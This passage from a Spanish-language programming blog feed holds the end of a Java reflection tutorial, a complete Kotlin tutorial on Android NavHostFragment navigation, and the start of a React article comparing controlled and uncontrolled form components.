<p><strong><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/Class.html" target="_blank">Class&lt;?&gt;</a></strong> - Representa Clases e Interfaces de una aplicaci&#xF3;n Java en ejecuci&#xF3;n. Los tipos primitivos de Java (boolean, byte, char, short, int, long, float y double) y la palabra clave void tambi&#xE9;n se representan como objetos <code>Class</code>. La clase <code>Class</code> expone mas caracter&#xED;sticas de una clase o interfaz, la mayor&#xED;a derivan del archivo del archivo <code>class</code> que el <em>class loader</em> paso a la <em>Java Virtual Machine</em> pero unas pocas caracter&#xED;sticas estas determinadas por el entorno <em>class loading</em> en tiempo de ejecuci&#xF3;n.</p>
</li>
<li>
<p><strong><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/Object.html#getClass()" target="_blank">Object.getClass()</a></strong> - Devuelve la clase en tiempo de ejecuci&#xF3;n del objeto</p>
</li>
<li>
<p><strong><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/package-summary.html" target="_blank">java.lang.reflect</a></strong> - Permite el acceso a la informaci&#xF3;n sobre los campos (fields), m&#xE9;todos y constructores de las clases cargadas.</p>
</li>
</ul>
<h3 id="main">Main</h3>
<p>En la clase main definimos un objeto User, Address y Explorer; iremos llamando a los m&#xE9;todos de Explorer seg&#xFA;n sea necesario.</p>
<p><code>code/Main.java</code></p>
<pre><code class="language-java">class Main {
	public static void main(String[] args) {
		Address address = new Address(&quot;Duck town&quot;, &quot;Donal Ave&quot;, 204);
		User user = new User(&quot;Donald Juan&quot;, &quot;5896224CBN&quot;, address);
		Explorer exp = new Explorer();
	}
}
</code></pre>
<h2 id="fieldscampos">Fields - Campos</h2>
<p>Lo primero es conocer los campos que tiene el objeto user, y ademas el tipo de dato al que pertenecen (int, String, etc.) asi que en la clase <code>Explorer</code> definiremos el m&#xE9;todo <code>lookFields(Object o)</code> para imprimir informaci&#xF3;n de los campos del objeto.</p>
<p>Interactuando con la clase User en tiempo de ejecuci&#xF3;n llamamos al m&#xE9;todo <code>user.getClass()</code>, del objeto <code>class</code> podemos hacer la llamada al m&#xE9;todo <code>getDeclaredFields()</code> y lo almacenamos un objeto <code>Field[]</code> del paquete <code>java.lang.reflect.Field</code>.</p>
<pre><code class="language-java">Class&lt;?&gt; uClass = user.getClass();
Field[] uFields = uClass.getDeclaredFields(); //contiene un arreglo con los campos del objeto &apos;user&apos;
</code></pre>
<p>Si conocemos el nombre de un campo, podemos acceder mediante el m&#xE9;todo <code>uClass.getDeclaredField(&quot;field_name&quot;)</code>, pero como asumimos que no conocemos cuales son, iteraremos cada uno de los objetos <code>Field</code> en el arreglo, y obtendremos informaci&#xF3;n de cada campo del objeto <code>User</code>.</p>
<p>Primero debemos hacer accesible cada campo llamando al m&#xE9;todo <code>setAccessible(true)</code>, ok ahora sobre el Objeto <code>Field</code> usaremos los m&#xE9;todos:</p>
<ul>
<li><strong><code>getName()</code></strong> <em>String</em> - para obtener el nombre del campo</li>
<li><strong><code>getType()</code></strong> <em>Class&lt;?&gt;</em> - para conocer el <code>Class</code> del campo</li>
<li><strong><code>get(_Object_)</code></strong> <em>Object</em> - para obtener el valor del campo, es decir el valor que contiene el campo en la clase <code>User</code>, recibe como argumento el objeto al que pertenece el objeto <code>Field</code>, en este caso <code>user</code>, se debe capturar las excepciones <code>IllegalArgumentException</code> e <code>IllegalAccessException</code>.</li>
<li><strong><code>getModifiers()</code></strong> <em>int</em> - para obtener los modificadores de acceso del campo, consulta <em>refect.Modifier</em> en la secci&#xF3;n <a href="#referencias">Referencias</a>.</li>
</ul>
<p><code>Main.java</code></p>
<pre><code class="language-java">lookFields(user)
</code></pre>
<p><code>Explorer.java</code></p>
<pre><code class="language-java">import java.lang.reflect.Field;

public class Explorer {

    public void lookFields(Object o){
        Class&lt;?&gt; oClass = o.getClass();
        Field[] oFields = oClass.getDeclaredFields();
        for (Field f : oFields) {
            f.setAccessible(true); // hacemos accesible en campo
            System.out.print(&quot;Field name:\t&quot; + f.getName() + &quot;\t&quot;); // nombre del campo/atributo
            try {
                Class&lt;?&gt; fclassType = f.getType(); // la clase del campo
                System.out.print(&quot;class type:\t&quot; + fclassType + &quot;\t&quot;);
                Object obj = f.get(o); // el valor del campo
                System.out.println(&quot;\tvalue:\t&quot; + obj);
            } catch (IllegalArgumentException | IllegalAccessException e) {
                e.printStackTrace();
            }
        }
    }

}
</code></pre>
<p>Salida:</p>
<pre><code class="language-sh">Field name:     name    class type:     class java.lang.String          value:  Donald Juan
Field name:     dni     class type:     class java.lang.String          value:  5896224CBN
Field name:     date    class type:     class java.util.Date            value:  Fri Jul 30 18:51:10 BOT 2021
Field name:     age     class type:     int             value:  20
Field name:     married class type:     boolean         value:  false
Field name:     address class type:     class Address           value:  City:   Duck town       Street: Donal Ave       Number: 204
</code></pre>
<p>Ahora sabemos com&#xF3; obtener informaci&#xF3;n acerca de los campos de <code>User</code>, resaltan las clases de los campos <code>date</code> y los de tipo <em>&apos;String&apos;</em> <code>java.lang.String</code>, <code>java.util.Date</code> respectivamente, la clase <code>Address</code>, el valor devuelto por cada uno de estos campos es interesante en el caso del campo <code>date</code> y <code>address</code> que para retornar el valor llaman al m&#xE9;todo <code>toString()</code> que la clase <em>Date</em> y <em>Address</em> tienen implementado, de lo contrario la salida ser&#xED;a una direcci&#xF3;n de memoria, algo asi:</p>
<pre><code class="language-sh">Field name:     address class type:     class Address           value:  Address@23fc625e
</code></pre>
<h2 id="analizandoelcampoaddress">Analizando el campo &apos;address&apos;</h2>
<p>Como vimos en la salida hace uso del m&#xE9;todo <code>toString()</code> para conocer el valor, pero si necesitamos conocer mas acerca de este objeto como crear nuevas instancias de esta para poder cambiar el valor, debemos hacer algunas cosas mas, esta es una secci&#xF3;n complementaria y eres libre de pasar a la <a href="#modificando-campos">siguiente secci&#xF3;n</a></p>
<p>Ya conocemos el nombre del campo o Field name (<code>address</code>) con eso podemos comenzar y tratarlo en un m&#xE9;todo separado si el nombre del campo coincide con &quot;address&quot;.</p>
<pre><code class="language-java">public void lookFields(Object o){
    // ...
    for (Field f : oFields) {
        // ...
        String fieldName = f.getName();
        if(fieldName.equals(&quot;address&quot;)){
            instanceObject(f);
        }
        // ...
    }
}

private void instanceObject(Field f){ ... }
</code></pre>
<p>Con el m&#xE9;todo <code>f.getType()</code> sobre el objeto <code>Field</code> obtenemos el objeto <code>Class</code> que identifica el tipo declarado para el campo representado por este objeto <code>Field</code>.</p>
<p>Podemos repetir en mismo proceso anterior para obtener los campos  y valores del objeto <code>address</code> usando <code>getDeclaredFields()</code>, es exactamente igual, lo interesante es crear un objeto de esa clase con valores que queramos cambiar y es lo que haremos.</p>
<p>Usando la clase <code>Constructor</code> del paquete <code>java.lang.reflect</code> y el m&#xE9;todo <code>newInstance(Object... initargs) : T</code> podemos crear una nueva instancia de la clase declarada por el constructor, con los par&#xE1;metros de inicializaci&#xF3;n especificados.</p>
<p><code>Address</code> tiene los campos: <code>String : city</code>, <code>String : street</code> y <code>int : number</code>, el orden y tipos de datos son muy importante para el objeto <code>Constructor</code> con la clase con el m&#xE9;todo <code>getConstructor(Class&lt;?&gt;... parameterTypes)</code> que recibe como par&#xE1;metro objetos Class que identifican los tipos de par&#xE1;metros formales del constructor, en el orden declarado.</p>
<pre><code class="language-java">private Object instanceObject(Field f){
    Class&lt;?&gt; fclassType = f.getType();
    Object o = null;
    try{
        Constructor&lt;?&gt; cons = fclassType.getConstructor(String.class, String.class, int.class);
        String city = &quot;New City&quot;;            
        String street = &quot;New Street&quot;;
        int number = 888;
        o = cons.newInstance(city, street, number);
        System.out.println(&quot;Object:\t&quot;+ o);
        System.out.println(&quot;Class Object:\t&quot;+ o.getClass());
    }catch (NoSuchMethodException |
    InvocationTargetException | InstantiationException | IllegalAccessException e) {
        e.printStackTrace();
    }
    return o;
}
</code></pre>
<p>Salida:</p>
<pre><code class="language-sh">Object: City:   New City        Street: New Street      Number: 888
Class Object:    class Address
</code></pre>
<p>Como observamos ya tenemos una instancia del objeto <code>Address</code> con los campos diferentes, esto servir&#xE1; cuando queramos modificar un campo.</p>
<!-- modificar los atributos de User -->
<h4 id="modificandocampos">Modificando campos</h4>
<p>La clase <code>Field</code> posee m&#xE9;todos para modificar campos de tipo primitivo, y <code>set&#x200B;(Object obj, Object value)</code> donde <code>obj</code> es el objeto al que pertenece el campo a modificar y <code>value</code> el nuevo valor para el campo de obj que se est&#xE1; modificando, si el argumento del objeto especificado no es una instancia de la clase o interfaz (<code>User</code>) que declara el campo del objeto, el m&#xE9;todo arroja un <code>IllegalArgumentException</code> e <code>IllegalAccessException</code></p>
<p>A&#xF1;adimos el m&#xE9;todo <code>changeFields(Object o)</code> y <code>changeFieldValue</code> para cambiar el valor de los campos, hasta este punto ya conocemos en nombre de los campos y podemos efectuar cambios.</p>
<pre><code class="language-java">import java.lang.reflect.Field;
import java.util.Date;
// ....
    public void changeFields(Object o){
        Class&lt;?&gt; oClass = o.getClass();
        Field[] oFields = oClass.getDeclaredFields();
        System.out.println(o);
        for(Field f : oFields){
            f.setAccessible(true);
            try {
                Object valueChanged = changeFieldValue(f.getName());
                f.set(o, valueChanged); // Set the field value
            } catch (IllegalArgumentException | IllegalAccessException e) {
                e.printStackTrace();
            }
        }
        System.out.println(o);
    }

    private Object changeFieldValue(String fieldName){
        Object obj = null;
        switch (fieldName) {
            case &quot;name&quot; -&gt; obj = &quot;Este es un nombre cambiado&quot;;
            case &quot;dni&quot; -&gt; obj = &quot;Un nuevo DNI&quot;;
            case &quot;date&quot; -&gt; obj = new Date();
            case &quot;age&quot; -&gt; obj = 55;
            case &quot;address&quot; -&gt; obj = new Address(&quot;Toronto&quot;, &quot;Queen ave&quot;, 404);
            case &quot;married&quot;  -&gt; obj = false;
        }
        return obj;
    }
</code></pre>
<p>Salida</p>
<pre><code class="language-sh">Name:   Pedro Perez Pereira     DNI:    5896224CBN      Age:    25      Married:        true    Address:        City:   CBBA    Street: Av. Pando       Number: 204     Date:   Sat Jun 12 23:16:34 BOT 2021
Name:   Este es un nombre cambiado      DNI:    Un nuevo DNI    Age:    55      Married:        false   Address:        City:   Toronto Street: Queen ave       Number: 404     Date:  Sat Jun 12 23:16:35 BOT 2021
</code></pre>
<p>Puedes crear una instancia para el campo <code>address</code> como se vio en la secci&#xF3;n <a href="#analizando-el-campo-address">Analizando el campo address</a></p>
<h2 id="repositorio">Repositorio</h2>
<p><a href="https://github.com/Abdiel49/java-relfection">click aqu&#xED;</a></p>
<h2 id="referencias">Referencias</h2>
<ul>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/Object.html">Java Object</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/Class.html">Java Class</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/package-summary.html">Java Reflect</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/Field.html">Java Field</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/Method.html">Java Method</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/Modifier.html">Java Modifier</a></li>
<li><a href="https://docs.oracle.com/en/java/javase/15/docs/api/java.base/java/lang/reflect/Constructor.html">Constructor</a></li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Navegación con Android [NavHostFragment]]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>En cuanto a la navegaci&#xF3;n de fragmentos en android existen diferentes maneras de hacerlo, sin embargo una reciente y aconsejada es el uso de NavHostFragment, en este post veremos algunos conceptos de navegaci&#xF3;n y como implementarlos con el NavHostFragment en un peque&#xF1;o proyecto.</p>
<p>Referente</p>]]></description><link>https://blog.scesi.org/navegacion-con-android-navhostfragment/</link><guid isPermaLink="false">610dec3f9f99a30967bba7d1</guid><dc:creator><![CDATA[Alvaro]]></dc:creator><pubDate>Tue, 17 Aug 2021 21:01:12 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/08/a-wallpaper-can-crash-some-android-10-phones_4swm.jpeg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2021/08/a-wallpaper-can-crash-some-android-10-phones_4swm.jpeg" alt="Navegaci&#xF3;n con Android [NavHostFragment]"><p>En cuanto a la navegaci&#xF3;n de fragmentos en android existen diferentes maneras de hacerlo, sin embargo una reciente y aconsejada es el uso de NavHostFragment, en este post veremos algunos conceptos de navegaci&#xF3;n y como implementarlos con el NavHostFragment en un peque&#xF1;o proyecto.</p>
<p>Referente a la navegaci&#xF3;n en android, existen 3 principios que podemos resumir:</p>
<h1 id="1erprincipiosiemprehayunpuntodeinicio">1er Principio: Siempre hay un punto de inicio!</h1>
<p>Cuando sea que iniciamos la app se mostrara una primera pantalla que ser&#xE1; la que nosotros deseemos.<br>
En nuestro caso nuestra aplicaci&#xF3;n contara con varios fragmentos siento el <em>FragmentA</em> nuestro punto inicio</p>
<img alt="Navegaci&#xF3;n con Android [NavHostFragment]" src="https://blog.scesi.org/content/images/2021/08/Screenshot_1628351045-1.png" style="width: 300px; ">
<p>Empezamos creando un proyecto en Android Studio con un blank activity, luego creamos nuestro primer fragmento<br>
<em>FragmentA</em></p>
<h3 id="fragmentakt">FragmentA.kt</h3>
<pre><code class="language-kotlin">package com.example.navhostfragmentdemo

import android.os.Bundle
import androidx.fragment.app.Fragment
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup

class FragmentA : Fragment() {
    override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View? {
        return inflater.inflate(R.layout.fragment_a, container, false)
    }
}
</code></pre>
<p>Con su respectivo layout</p>
<h3 id="fragment_axml">fragment_a.xml</h3>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    xmlns:tools=&quot;http://schemas.android.com/tools&quot;
    android:layout_width=&quot;match_parent&quot;
    android:layout_height=&quot;match_parent&quot;
    android:gravity=&quot;center&quot;
    android:orientation=&quot;vertical&quot;
    tools:context=&quot;.FragmentA&quot;&gt;
    &lt;TextView
        android:layout_width=&quot;wrap_content&quot;
        android:layout_height=&quot;wrap_content&quot;
        android:gravity=&quot;center_horizontal&quot;
        android:text=&quot;Fragment A&quot;
        android:textColor=&quot;@color/black&quot;
        android:textSize=&quot;48dp&quot; /&gt;
    &lt;Button
        android:layout_width=&quot;wrap_content&quot;
        android:layout_height=&quot;wrap_content&quot;
        android:text=&quot;Go to fragment B&quot; /&gt;
&lt;/LinearLayout&gt;
</code></pre>
<p>De esta manera ya se tiene el FragmentA listo, faltando colocarlo en el layout del mainActivity de la siguiente forma</p>
<h3 id="activity_mainxml">activity_main.xml</h3>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    xmlns:tools=&quot;http://schemas.android.com/tools&quot;
    android:layout_width=&quot;match_parent&quot;
    android:layout_height=&quot;match_parent&quot;
    android:orientation=&quot;vertical&quot;
    tools:context=&quot;.MainActivity&quot;&gt;

    &lt;fragment
        android:id=&quot;@+id/fragmentA&quot;
  android:name=&quot;com.example.navhostfragmentdemo.FragmentA&quot;
        android:layout_width=&quot;match_parent&quot;
        android:layout_height=&quot;match_parent&quot; /&gt;

&lt;/LinearLayout&gt;
</code></pre>
<p>Y el main activity lo dejamos tal y como fue creado</p>
<h3 id="mainactivitykt">MainActivity.kt</h3>
<pre><code class="language-kotlin">package com.example.navhostfragmentdemo

import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
    }
}
</code></pre>
<p>Pueden hacer correr el proyecto y el resultado ser&#xE1; el siguiente</p>
<img alt="Navegaci&#xF3;n con Android [NavHostFragment]" src="https://blog.scesi.org/content/images/2021/08/Screenshot_1628351885.png" style="width: 300px; ">
<p>Hasta ahora lo &#xFA;nico que hicimos fue</p>
<ul>
<li>Crear proyecto</li>
<li>Crear FragmentA</li>
<li>Insertar el FragmentA en el layout del Main activity</li>
</ul>
<h1 id="2doprincipiosiemprepuedesvolveratrsbackstack">2do Principio:Siempre puedes volver atr&#xE1;s (Backstack)</h1>
<p>El backstack es una estructura de almacenamiento de tipo FILO(First In Last Out), que almacena nuestras vistas que tengamos en la app.<br>
Sea nuestro punto de inicio el <em>FragmentA</em>, al ir hacia otra vista(FragmentB), esta nueva vista ser&#xE1; puesta encima de nuestro punto inicial, y lo mismo cuando se vaya del <em>FragmentB</em> al <em>FragmentC</em></p>
<img alt="Navegaci&#xF3;n con Android [NavHostFragment]" src="https://blog.scesi.org/content/images/2021/08/Frame-1.png" style="width: 300px; ">
<p>Para la utilizar el navigation component debemos crear un <em>resource</em> de tipo <em>Navigation</em> que ser&#xE1; el grafo contenedor de nuestros fragmentos</p>
<p><img src="https://blog.scesi.org/content/images/2021/08/navigationComponent.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"></p>
<p>Nota: En caso de que al crear el <em>resource</em> no les salga el mensaje de error de las  bibliotecas lo pueden agregar manualmente en el build.gradle de su proyecto</p>
<h3 id="buildgradle">build.gradle</h3>
<pre><code class="language-kotlin">dependencies {
    ...
    implementation &apos;androidx.navigation:navigation-fragment-ktx:2.3.0&apos;
    implementation &apos;androidx.navigation:navigation-ui-ktx:2.3.0&apos;
}
</code></pre>
<p>En el principio #1 insertamos el FragmentA en el <em>activitymain.xml</em>, si usamos el navigation architectural component, el NavHostFragment debe ser el contenedor de todos los fragmentos, por tanto debemos reemplazarlo</p>
<h3 id="activity_mainxml">activity_main.xml</h3>
<pre><code class="language-xml">&lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&gt;
&lt;LinearLayout xmlns:android=&quot;http://schemas.android.com/apk/res/android&quot;
    xmlns:app=&quot;http://schemas.android.com/apk/res-auto&quot;
    xmlns:tools=&quot;http://schemas.android.com/tools&quot;
    android:layout_width=&quot;match_parent&quot;
    android:layout_height=&quot;match_parent&quot;
    android:orientation=&quot;vertical&quot;
    tools:context=&quot;.MainActivity&quot;&gt;

    &lt;fragment
        android:id=&quot;@+id/myNavHostFragment&quot;
        android:name=&quot;androidx.navigation.fragment.NavHostFragment&quot;
        android:layout_width=&quot;match_parent&quot;
        android:layout_height=&quot;match_parent&quot;
        app:defaultNavHost=&quot;true&quot;
        app:navGraph=&quot;@navigation/navigation&quot; /&gt;

&lt;/LinearLayout&gt;
</code></pre>
<p>Asignamos un nuevo nombre al fragmento &quot;myNavHostFragment&quot; y cambiamos el tipo a <em>androidx.navigation.fragment.NavHostFragment</em><br>
Tambi&#xE9;n aumentamos la l&#xED;nea</p>
<pre><code class="language-xml">app:defaultNavHost=&quot;true&quot;
</code></pre>
<p>que interceptara cuando sea que apretemos el back button de android.<br>
La l&#xED;nea</p>
<pre><code class="language-xml">app:navGraph=&quot;@navigation/navigation&quot;
</code></pre>
<p>nos sirve para especificar que <em>resource</em> usara el <em>NavHostFragment</em></p>
<p>Con los pasos anteriores realizados nos encontramos listos para manipular nuestro grafo con los <em>fragments</em> que deseemos<br>
Haciendo click en el navigation.xml que creamos, nos aparecer&#xE1; una pantalla vac&#xED;o, y agregamos el punto inicial que ser&#xED;a nuestro <em>FragmentA</em> haciendo click en el bot&#xF3;n de <strong>New destination</strong></p>
<p>De igual manera que se cre&#xF3; que el &quot;FragmentA&quot; podemos crear un &quot;FragmentB&quot; de similar estructura y los vinculamos como se observa a continuaci&#xF3;n</p>
<p><img src="https://blog.scesi.org/content/images/2021/08/navigationComponentAddFragments.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"></p>
<p>Y al momento de crear sus v&#xED;nculos, se crean acciones, las cuales las usaremos posteriormente</p>
<p><img src="https://blog.scesi.org/content/images/2021/08/navigationComponentAddLinks.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"></p>
<p>Est&#xE1;n vinculados, pero no hay una acci&#xF3;n que haga que de un fragment vaya a otro, por tanto , debemos implementar un <em>clicklistener</em> al bot&#xF3;n del <em>FragmentA</em></p>
<h3 id="fragmenta">FragmentA</h3>
<pre><code class="language-kotlin"> override fun onCreateView(
        inflater: LayoutInflater, container: ViewGroup?,
        savedInstanceState: Bundle?
    ): View? {
        val view  = inflater.inflate(R.layout.fragment_a, container, false)
        val buttonA = view.findViewById&lt;Button&gt;(R.id.actionButton)
        buttonA?.setOnClickListener{ view : View -&gt;
            Navigation.findNavController(view).navigate(R.id.action_fragmentA_to_fragmentB)
        }
        return view.rootView
    }
</code></pre>
<p>Lo que hace la l&#xED;nea</p>
<pre><code class="language-kotlin">
Navigation.findNavController(view).navigate(R.id.action_fragmentA_to_fragmentB)

</code></pre>
<p>es encontrar el controlador de navegacion y navegar seg&#xFA;n la acci&#xF3;n que se cre&#xF3; al momento de vincular el <em>FragmentA</em> con el <em>FragmentB</em><br>
Como resultado tenemos lo siguiente:<br>
<img src="https://blog.scesi.org/content/images/2021/08/navigationComponentNavFail.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"><br>
Podemos notar que no tenemos el bot&#xF3;n para volver atr&#xE1;s dentro la app, pero si responde al back button del dispositivo.<br>
Para arreglar este problema, cuando usemos <em>NavHostFragment</em> debemos hacer unos cambios en el activity contenedor de la navegaci&#xF3;n que en este caso es el MainActivity, los m&#xE9;todos onCreate y sobrescribir el m&#xE9;todo onSupportNavigateUp</p>
<h3 id="mainactivity">MainActivity</h3>
<pre><code class="language-kotlin">override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)
        val navController = Navigation.findNavController(this, R.id.myNavHostFragment)
        NavigationUI.setupActionBarWithNavController(this, navController)
    }


    override fun onSupportNavigateUp(): Boolean {
        return findNavController(R.id.myNavHostFragment).navigateUp()
                || super.onSupportNavigateUp()
    }
</code></pre>
<p>En el onCreate se encuentra el controlador de navegaci&#xF3;n y lo incrustamos justo en el actionBar.<br>
Luego el override al m&#xE9;todo onSupportNavigateUp devolver&#xE1; la respuesta que nuestro componente de navegaci&#xF3;n retorne o el default en caso de no estar configurado<br>
<img src="https://blog.scesi.org/content/images/2021/08/navigationComponentNavSuccess.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"><br>
De tal manera ya estamos respetando el 2do principio de siempre poder volver atr&#xE1;s</p>
<h1 id="3erprincipioupgoesbackmostly">3er principio: Up goes back (Mostly)</h1>
<p>Este principio se basa en que existen dos maneras de volver atr&#xE1;s, una por el up button (flecha de la app que va atr&#xE1;s) y el back button(bot&#xF3;n para volver del dispositivo).<br>
El up button y el back button operan de la misma manera dentro la app, con la &#xFA;nica excepci&#xF3;n que cuando estemos en el punto de inicio, el <em>FragmentA</em>, el up button no tiene a donde mas volver atr&#xE1;s, as&#xED; que simplemente desaparece o deber&#xED;a, pero el back button si funciona, saliendo de la aplicaci&#xF3;n.<br>
Se agrego un <em>FragmentC</em> para terminar el experimento, funciona igual que el FragmentB, se muestra como funciona el up y el back button<br>
<img src="https://blog.scesi.org/content/images/2021/08/navigationComponentFinal.gif" alt="Navegaci&#xF3;n con Android [NavHostFragment]" loading="lazy"></p>
<p>Si desean mas informaci&#xF3;n sobre esto pueden dirigirse a la documentacion:</p>
<ul>
<li><a href="https://developer.android.com/guide/navigation/navigation-principles">https://developer.android.com/guide/navigation/navigation-principles</a></li>
<li><a href="https://developer.android.com/guide/navigation/navigation-getting-started">https://developer.android.com/guide/navigation/navigation-getting-started</a></li>
</ul>
<p>El repositorio con todo lo avanzado<br>
<a href="https://github.com/beldier/navHostFragmentIntro">https://github.com/beldier/navHostFragmentIntro</a></p>
<p>Gracias por su atenci&#xF3;n, en otro post estar&#xE9; explicando los safeargs, navegaci&#xF3;n condicional y otros truquitos.</p>
<blockquote>
<p>Nos pasamos a&#xF1;os sin vivir en absoluto, y de pronto toda nuestra vida se concentra en un solo instante (Wilde)</p>
</blockquote>
<ul>
<li>Cristal</li>
</ul>
<!--kg-card-end: markdown--><p></p><p></p>]]></content:encoded></item><item><title><![CDATA[React Forms: Componentes Controlados vs No Controlados]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Entre los elementos m&#xE1;s comunes de una aplicaci&#xF3;n web son los formularios. Aquellos que te brindar&#xE1;n informaci&#xF3;n del usuario. Al momento de implementar una tecnolog&#xED;a como React, los mismos te ofrecen maneras de operar con formularios. En este articul&#xF3;</p>]]></description><link>https://blog.scesi.org/react-componentes-controlados-vs-no-controlados/</link><guid isPermaLink="false">610c74a19f99a30967bba7c2</guid><category><![CDATA[React]]></category><category><![CDATA[SCESI]]></category><category><![CDATA[forms]]></category><category><![CDATA[Web]]></category><dc:creator><![CDATA[Fernando Quinteros Gutierrez]]></dc:creator><pubDate>Thu, 05 Aug 2021 23:34:28 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2021/08/ray-hennessy-xUUZcpQlqpM-unsplash-1.jpg" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://blog.scesi.org/content/images/2021/08/ray-hennessy-xUUZcpQlqpM-unsplash-1.jpg" alt="React Forms: Componentes Controlados vs No Controlados"><p>Entre los elementos m&#xE1;s comunes de una aplicaci&#xF3;n web son los formularios. Aquellos que te brindar&#xE1;n informaci&#xF3;n del usuario. Al momento de implementar una tecnolog&#xED;a como React, los mismos te ofrecen maneras de operar con formularios. En este articul&#xF3; aprender&#xE1;s las dos alternativas &quot;nativas&quot; de React para manejar estos elementos, cuando usar cada uno y las ventajas y desventajas de los mismos.</p>
<h2 id="componentescontrolados">Componentes Controlados</h2>
<blockquote>
<p>Un campo de un formulario cuyos valores son controlados por React de esta forma es denominado &#x201C;componente controlado&#x201D;<br>
<a href="https://es.reactjs.org/docs/forms.html#controlled-components">Componentes Controlados - Documentaci&#xF3;n de React</a></p>
</blockquote>
<p>Cuando usamos componentes controlados implica que React controlar&#xE1; el renderizado y la interacci&#xF3;n con el usuario de un formulario. Para aplicarlo podemos crear un estado el cual estar&#xE1; conectado con las etiquetas de campo: <code>input</code>, <code>textarea</code> o <code>select</code></p>
<pre><code class="language-jsx">export const Form = () =&gt; {
	const [nameInput, setNameInput] = useState(&quot;&quot;);

	const handleChange = (event) =&gt; {
    setNameInput(event.target.value);
  }

  const handleSubmit = (event) =&gt; {
    alert(&apos;A name was submitted: &apos; + nameInput);
    event.preventDefault();
  }

  return (
    &lt;form onSubmit={handleSubmit}&gt;
      &lt;label&gt;
        Name:
        &lt;input type=&quot;text&quot; value={nameInput} onChange={handleChange} /&gt;
      &lt;/label&gt;
      &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
    &lt;/form&gt;
  );
}
</code></pre>
<p>En esta soluci&#xF3;n realiza que React sea la &quot;Fuente de la verdad&quot; por este motivo, el valor que se muestra, el manejo del evento de cambio en el campo de texto y el estado est&#xE1;n conectados todos entre s&#xED; y manejados por detr&#xE1;s con React.</p>
<h3 id="caractersticasprincipales">Caracter&#xED;sticas principales</h3>
<ul>
<li>La &quot;fuente de la verdad&quot; es React</li>
<li>Si un campo de texto depende de la actualizaci&#xF3;n de estado, es considerado un componente controlado</li>
<li>No depende de la etiqueta <code>form</code> para que sea considerado un componente controlado</li>
<li>Cada cambio en la informaci&#xF3;n pasa por una actualizaci&#xF3;n de estado</li>
</ul>
<h3 id="ventajasdeloscomponentescontrolados">Ventajas de los componentes Controlados</h3>
<ul>
<li>Debido a que todo est&#xE1; conectado entre s&#xED;, podemos controlar el formulario desde otras partes de la aplicaci&#xF3;n</li>
<li>Puedes implementar validaciones en tiempo real cuando el usuario escribe, ya que los datos son actualizados en cada input</li>
</ul>
<h3 id="desventajasdeloscomponentescontrolados">Desventajas de los componentes Controlados</h3>
<ul>
<li>Si no est&#xE1;n controlados, crean renders innecesarios, para solucionarlo se pueden aplicar varias t&#xE9;cnicas, incrementando la complejidad del c&#xF3;digo.</li>
<li>Incremento menor en las l&#xED;neas de c&#xF3;digo.</li>
</ul>
<h2 id="componentesnocontrolados">Componentes No Controlados</h2>
<blockquote>
<p>&quot;Los componentes no controlados, donde los datos del formulario son manejados por el propio DOM.&quot;<br>
<a href="https://es.reactjs.org/docs/uncontrolled-components.html">Componentes no controlados - Documentaci&#xF3;n de React</a></p>
</blockquote>
<p>Los componentes no controlados como su nombre lo indica es lo contrario de un componente controlado. Es decir en un componente no controlado dejamos que el mismo formulario sea la &quot;fuente de la verdad&quot;. Es lo m&#xE1;s parecido al HTML de toda la vida. Un componente no controlado se puede realizar de dos formas, creando un ref por cada input o creando un ref para todo el formulario y usando la web API formData para el manejo del mismo.</p>
<p><strong>Tecnica de componente no controlado, usando multiples ref de React</strong></p>
<pre><code>export const Form = () =&gt; {
	const inputRef = useRef(null);

	const handleSubmit = (event) =&gt; {
    alert(&apos;A name was submitted: &apos; + inputRef.current.value);
    event.preventDefault();
  }

  return (
    &lt;form onSubmit={handleSubmit}&gt;
      &lt;label&gt;
        Name:
        &lt;input type=&quot;text&quot; ref={inputRef} /&gt;
      &lt;/label&gt;
      &lt;input type=&quot;submit&quot; value=&quot;Submit&quot; /&gt;
    &lt;/form&gt;
  );
}
</code></pre>
<h3 id="caractersticasprincipales">Caracter&#xED;sticas principales</h3>
<ul>
